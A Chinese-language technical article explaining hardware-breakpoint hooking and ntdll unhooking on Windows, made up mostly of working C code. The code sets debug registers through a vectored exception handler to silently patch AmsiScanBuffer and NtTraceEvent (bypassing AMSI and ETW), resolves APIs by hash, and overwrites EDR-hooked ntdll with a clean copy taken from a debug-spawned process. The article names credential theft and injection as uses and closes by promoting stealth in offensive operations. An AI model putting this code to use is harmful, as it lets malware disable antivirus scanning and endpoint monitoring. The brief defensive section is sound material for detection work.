硬件断点实现的HOOK与UNHOOK技术
字数 1500 2025-08-19 12:40:55
硬件断点实现的HOOK与UNHOOK技术详解
1. 硬件断点基础概念
1.1 软件断点原理
软件断点通过修改内存代码实现:
- 在目标地址将指令修改为INT 3(0xCC)
- 程序执行到该地址时会暂停执行
- 特点:需要修改内存代码,容易被检测
1.2 硬件断点原理
硬件断点使用CPU调试寄存器实现:
- 每个线程有自己的调试寄存器(DR0-DR7)
- DR0-DR3存储断点地址
- DR7控制断点启用和类型
- EFLAGS寄存器的第16位RF控制恢复执行
关键寄存器:
- DR0-DR3:存储断点地址
- DR7:控制断点启用(G0-G3)和类型
- G0-G3对应DR0-DR3的启用位
- L0-L3对应DR0-DR3的局部启用位
1.3 软件断点与硬件断点的区别
| 特性 | 软件断点 | 硬件断点 |
|---|---|---|
| 实现方式 | 修改内存代码 | 使用CPU寄存器 |
| 隐蔽性 | 低(可被内存扫描检测) | 高(不修改内存) |
| 数量限制 | 无限制 | 每个线程最多4个(DR0-DR3) |
| 适用范围 | 任意代码位置 | 受限于寄存器数量 |
2. 硬件断点HOOK技术
2.1 基本流程
- 注册Vectored Exception Handler (VEH)
- 设置目标函数的硬件断点
- 程序执行到断点触发异常
- 异常处理函数执行HOOK逻辑
- 恢复执行流程
2.2 关键代码实现
2.2.1 初始化VEH
PVOID hardware_engine_init(void) {
const PVOID handler = AddVectoredExceptionHandler(1, exception_handler);
InitializeCriticalSection(&g_critical_section);
return handler;
}
2.2.2 设置硬件断点
void set_hardware_breakpoint(
const DWORD tid, // 线程ID
const uintptr_t address, // 断点地址
const UINT pos, // 使用哪个寄存器(0-3)
const BOOL init // 启用或禁用
) {
CONTEXT context = { .ContextFlags = CONTEXT_DEBUG_REGISTERS };
HANDLE thd = (tid == GetCurrentThreadId()) ?
GetCurrentThread() : OpenThread(THREAD_ALL_ACCESS, FALSE, tid);
GetThreadContext(thd, &context);
if (init) {
(&context.Dr0)[pos] = address;
context.Dr7 &= ~(3ull << (16 + 4 * pos));
context.Dr7 &= ~(3ull << (18 + 4 * pos));
context.Dr7 |= 1ull << (2 * pos);
} else {
if ((&context.Dr0)[pos] == address) {
context.Dr7 &= ~(1ull << (2 * pos));
(&context.Dr0)[pos] = 0ull;
}
}
SetThreadContext(thd, &context);
CloseHandle(thd);
}
2.2.3 异常处理函数
LONG WINAPI exception_handler(PEXCEPTION_POINTERS ExceptionInfo) {
if (ExceptionInfo->ExceptionRecord->ExceptionCode == STATUS_SINGLE_STEP) {
struct descriptor_entry* temp;
BOOL resolved = FALSE;
EnterCriticalSection(&g_critical_section);
temp = head;
while (temp != NULL) {
if (temp->adr == ExceptionInfo->ContextRecord->Rip) {
if (temp->tid != 0 && temp->tid != GetCurrentThreadId())
continue;
temp->fun(ExceptionInfo); // 执行HOOK函数
resolved = TRUE;
}
temp = temp->next;
}
LeaveCriticalSection(&g_critical_section);
if (resolved) {
return EXCEPTION_CONTINUE_EXECUTION;
}
}
return EXCEPTION_CONTINUE_SEARCH;
}
2.2.4 示例HOOK函数
// 简单返回PATCH
void rip_ret_patch(const PEXCEPTION_POINTERS ExceptionInfo) {
ExceptionInfo->ContextRecord->Rip = find_gadget(
ExceptionInfo->ContextRecord->Rip, "\xc3", 1, 500);
ExceptionInfo->ContextRecord->EFlags |= (1 << 16); // 设置Resume Flag
}
// LoadLibraryExW HOOK
void load_library_patch(const PEXCEPTION_POINTERS ExceptionInfo) {
if (_wcsicmp(L"DBGHELP.dll", (PVOID)ExceptionInfo->ContextRecord->Rcx) == 0) {
ExceptionInfo->ContextRecord->Rip = find_gadget(
ExceptionInfo->ContextRecord->Rip, "\xc3", 1, 500);
ExceptionInfo->ContextRecord->Rax = 0ull;
}
ExceptionInfo->ContextRecord->EFlags |= (1 << 16);
}
2.3 使用示例
int main() {
const PVOID handler = hardware_engine_init();
// ETW PATCH - NtTraceEvent
uintptr_t etwPatchAddr = (uintptr_t)GetProcAddress(
GetModuleHandleW(L"ntdll.dll"), "NtTraceEvent");
insert_descriptor_entry(etwPatchAddr, 0, rip_ret_patch, GetCurrentThreadId());
// AMSI PATCH
LoadLibraryA("AMSI.dll");
uintptr_t amsiPatchAddr = (uintptr_t)GetProcAddress(
GetModuleHandleW(L"AMSI.dll"), "AmsiScanBuffer");
insert_descriptor_entry(amsiPatchAddr, 1, rip_ret_patch, GetCurrentThreadId());
// 测试代码...
// 清理
delete_descriptor_entry(etwPatchAddr, GetCurrentThreadId());
delete_descriptor_entry(amsiPatchAddr, GetCurrentThreadId());
hardware_engine_stop(handler);
}
3. 硬件断点UNHOOK技术
3.1 NTDLL UNHOOK原理
常规UNHOOK方法:
- 从磁盘读取干净NTDLL
- 从knowdll目录读取
- 从挂起进程读取
- 从远程服务器读取
硬件断点UNHOOK方法:
- 创建调试模式下的新进程(如notepad.exe)
- 使用硬件断点阻止其他DLL加载
- 获取干净的NTDLL副本
- 复制到当前进程替换被HOOK的NTDLL
3.2 关键代码实现
3.2.1 创建调试进程
PROCESS_INFORMATION createProcessInDebug(wchar_t* processName) {
STARTUPINFO si;
PROCESS_INFORMATION pi;
ZeroMemory(&si, sizeof(si));
si.cb = sizeof(si);
ZeroMemory(&pi, sizeof(pi));
HMODULE hKernel_32 = GetModuleFromPEB(109513359);
TypeCreateProcessW CreateProcessWCustom = (TypeCreateProcessW)GetAPIFromPEBModule(hKernel_32, 926060913);
BOOL hProcbool = CreateProcessWCustom(processName, processName, NULL, NULL,
FALSE, DEBUG_PROCESS, NULL, NULL, &si, &pi);
return pi;
}
3.2.2 设置硬件断点阻止DLL加载
VOID SetHWBP(DWORD_PTR address, HANDLE hThread) {
CONTEXT ctx = { 0 };
ctx.ContextFlags = CONTEXT_DEBUG_REGISTERS | CONTEXT_INTEGER;
ctx.Dr0 = address; // LdrLoadDll地址
ctx.Dr7 = 0x00000001;
SetThreadContext(hThread, &ctx);
DEBUG_EVENT dbgEvent;
while (true) {
if (WaitForDebugEvent(&dbgEvent, INFINITE) == 0) break;
if (dbgEvent.dwDebugEventCode == EXCEPTION_DEBUG_EVENT &&
dbgEvent.u.Exception.ExceptionRecord.ExceptionCode == EXCEPTION_SINGLE_STEP) {
CONTEXT newCtx = { 0 };
newCtx.ContextFlags = CONTEXT_ALL;
GetThreadContext(hThread, &newCtx);
if (dbgEvent.u.Exception.ExceptionRecord.ExceptionAddress == (LPVOID)address) {
printf("[+] Breakpoint Hit!\n");
newCtx.Dr0 = newCtx.Dr6 = newCtx.Dr7 = 0;
newCtx.EFlags |= (1 << 8);
return;
} else {
newCtx.Dr0 = address;
newCtx.Dr7 = 0x00000001;
newCtx.EFlags &= ~(1 << 8);
}
SetThreadContext(hThread, &newCtx);
}
ContinueDebugEvent(dbgEvent.dwProcessId, dbgEvent.dwThreadId, DBG_CONTINUE);
}
}
3.2.3 复制干净NTDLL
int CopyDLLFromDebugProcess(HANDLE hProc, size_t bAddress, BOOL stealth) {
HMODULE hKernel_32 = GetModuleFromPEB(109513359);
HMODULE hNtdll = GetModuleFromPEB(4097367);
_NtReadVirtualMemory NtReadVirtualMemoryCustom =
(_NtReadVirtualMemory)GetAPIFromPEBModule(hNtdll, 228701921503);
TypeVirtualProtect VirtualProtectCustom =
(TypeVirtualProtect)GetAPIFromPEBModule(hKernel_32, 955026773);
PIMAGE_DOS_HEADER ImgDosHeader = (PIMAGE_DOS_HEADER)bAddress;
PIMAGE_NT_HEADERS64 ntHeader = (PIMAGE_NT_HEADERS64)((DWORD_PTR)bAddress + ImgDosHeader->e_lfanew);
IMAGE_OPTIONAL_HEADER OptHeader = (IMAGE_OPTIONAL_HEADER)ntHeader->OptionalHeader;
PIMAGE_SECTION_HEADER textsection = IMAGE_FIRST_SECTION(ntHeader);
DWORD DllSize = OptHeader.SizeOfImage;
PBYTE freshDll = new BYTE[DllSize];
if (stealth) {
LPVOID freshNtdll = VirtualAlloc(NULL, DllSize, MEM_COMMIT, PAGE_READWRITE);
NtReadVirtualMemoryCustom(hProc, (PVOID)bAddress, freshNtdll, DllSize, 0);
BOOL execute = Execute((PVOID)bAddress, freshNtdll, textsection);
if (execute) return 0;
else return 1;
}
NTSTATUS status = (*NtReadVirtualMemoryCustom)(hProc, (PVOID)bAddress, freshDll, DllSize, 0);
if (status != 0) {
delete[] freshDll;
return 1;
}
for (WORD i = 0; i < ntHeader->FileHeader.NumberOfSections; i++) {
PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)
((unsigned long long)IMAGE_FIRST_SECTION(ntHeader) +
((unsigned long long)IMAGE_SIZEOF_SECTION_HEADER * i));
if (strcmp((char*)hookedSectionHeader->Name, ".text") != 0) continue;
DWORD oldProtection = 0;
VirtualProtectCustom((LPVOID)((DWORD_PTR)bAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection);
DWORD textSectionSize = hookedSectionHeader->Misc.VirtualSize;
LPVOID srcAddr = (LPVOID)((DWORD_PTR)freshDll + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
LPVOID destAddr = (LPVOID)((DWORD_PTR)bAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress);
size_t chunkSize = 1024;
size_t numChunks = (textSectionSize + chunkSize - 1) / chunkSize;
for (size_t i = 0; i < numChunks; i++) {
size_t chunkStart = i * chunkSize;
size_t chunkEnd = min(chunkStart + chunkSize, textSectionSize);
size_t chunkSize = chunkEnd - chunkStart;
memcpy((char*)destAddr + chunkStart, (char*)srcAddr + chunkStart, chunkSize);
}
VirtualProtectCustom((LPVOID)((DWORD_PTR)bAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress),
hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection);
delete[] freshDll;
return 0;
}
delete[] freshDll;
return 1;
}
3.2.4 Stealth模式实现
BOOL OverwriteNtdll(PVOID ntdllBase, PVOID freshntDllBase,
PIMAGE_EXPORT_DIRECTORY hooked_pImageExportDirectory,
PIMAGE_EXPORT_DIRECTORY pImageExportDirectory,
PIMAGE_SECTION_HEADER textsection) {
PDWORD pdwAddressOfFunctions = (PDWORD)((PBYTE)ntdllBase + hooked_pImageExportDirectory->AddressOfFunctions);
PDWORD pdwAddressOfNames = (PDWORD)((PBYTE)ntdllBase + hooked_pImageExportDirectory->AddressOfNames);
PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ntdllBase + hooked_pImageExportDirectory->AddressOfNameOrdinals);
for (WORD cx = 0; cx < hooked_pImageExportDirectory->NumberOfNames; cx++) {
PCHAR pczFunctionName = (PCHAR)((PBYTE)ntdllBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)ntdllBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (strstr(pczFunctionName, "Nt") != NULL) {
PVOID funcAddress = GetTableEntry(freshntDllBase, pImageExportDirectory, pczFunctionName);
if (funcAddress != 0x00 && strcmp("NtAccessCheck", pczFunctionName) != 0) {
if (strcmp(pczFunctionName, "NtAllocateVirtualMemory") == 0) {
DWORD oldprotect = ChangePerms((LPVOID)((DWORD_PTR)ntdllBase +
(DWORD_PTR)textsection->VirtualAddress), PAGE_EXECUTE_WRITECOPY,
textsection->Misc.VirtualSize);
if (oldprotect == 0) return FALSE;
if (memcpy((LPVOID)pFunctionAddress, (LPVOID)funcAddress, 23) == NULL) {
return FALSE;
}
if (ChangePerms((LPVOID)((DWORD_PTR)ntdllBase +
(DWORD_PTR)textsection->VirtualAddress), oldprotect,
textsection->Misc.VirtualSize) == 0) {
return FALSE;
}
return TRUE;
}
}
}
}
return FALSE;
}
4. 应用场景与防御
4.1 应用场景
- ETW/AMSI绕过:Patch相关函数如NtTraceEvent、AmsiScanBuffer
- DLL加载控制:拦截LoadLibraryExW等函数
- 反调试:检测调试器设置的硬件断点
- 凭据窃取:HOOK敏感API如CredEnumerateW
- 进程注入:拦截进程创建相关API
4.2 防御措施
-
硬件断点检测:
- 检查DR0-DR7寄存器
- 检测异常处理链中的可疑VEH
-
行为监控:
- 监控SetThreadContext调用
- 监控调试寄存器修改
-
内存完整性检查:
- 定期校验关键函数内存
- 对比磁盘与内存中的NTDLL
-
进程行为分析:
- 检测创建调试进程的行为
- 监控进程内存复制操作
5. 总结
硬件断点HOOK/UNHOOK技术具有以下特点:
优势:
- 不修改内存代码,隐蔽性高
- 无需处理重定位问题
- 可针对特定线程设置
- 兼容性好,不易受ASLR影响
局限:
- 每个线程最多4个断点(DR0-DR3)
- 需要处理异常流程
- 可能被硬件断点检测发现
进阶方向:
- 结合syscall技术增强隐蔽性
- 动态调整断点位置
- 与API哈希技术结合避免字符串特征
- 多阶段HOOK降低检测概率
通过合理运用硬件断点技术,可以实现高效隐蔽的HOOK和UNHOOK操作,是高级攻防对抗中的重要技术手段。